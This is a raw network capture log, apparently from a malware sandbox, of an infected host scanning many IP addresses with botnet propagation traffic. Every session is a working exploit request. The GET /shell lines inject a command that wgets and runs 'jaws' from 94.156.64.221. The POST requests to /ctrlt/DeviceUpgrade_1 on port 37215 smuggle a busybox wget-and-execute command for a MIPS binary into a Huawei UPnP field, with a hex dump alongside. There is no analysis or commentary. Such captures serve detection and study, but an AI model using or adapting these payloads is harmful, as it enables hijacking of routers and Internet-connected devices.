Jun 1, 2024 18:15:56.254179955 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.23	46648	64.170.221.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254225016 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.23	34994	168.145.45.26	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254554987 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.23	51930	188.65.236.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254604101 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.23	34716	47.229.128.11	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254679918 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
617	192.168.2.23	42576	36.18.192.99	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254703045 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
618	192.168.2.23	39154	195.190.120.96	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254790068 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
619	192.168.2.23	50144	109.252.239.250	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254839897 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
620	192.168.2.23	59050	51.132.195.236	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254885912 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.23	55984	103.40.87.16	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254930019 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.23	58512	188.86.168.160	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.254966021 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.23	55288	135.144.55.37	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.255002022 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.23	32818	158.200.167.191	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.255179882 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.23	44092	98.147.145.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.255230904 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.23	47712	87.44.98.223	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.255250931 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.23	51122	112.77.116.122	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.255296946 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.23	43720	176.135.116.139	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.255398035 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.23	50510	80.104.124.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.255440950 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.23	39420	8.213.71.177	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287003994 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.23	46430	190.51.59.69	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287101984 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.23	47654	194.252.67.19	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287130117 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.23	47844	129.88.154.122	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287347078 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.23	40740	86.99.246.150	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287440062 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.23	54832	197.91.191.231	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287839890 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:56.520876884 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:56.952162981 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:57.815994978 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:15:59.511782885 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jun 1, 2024 18:16:03.031269073 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.23	37586	197.60.54.58	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.287888050 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

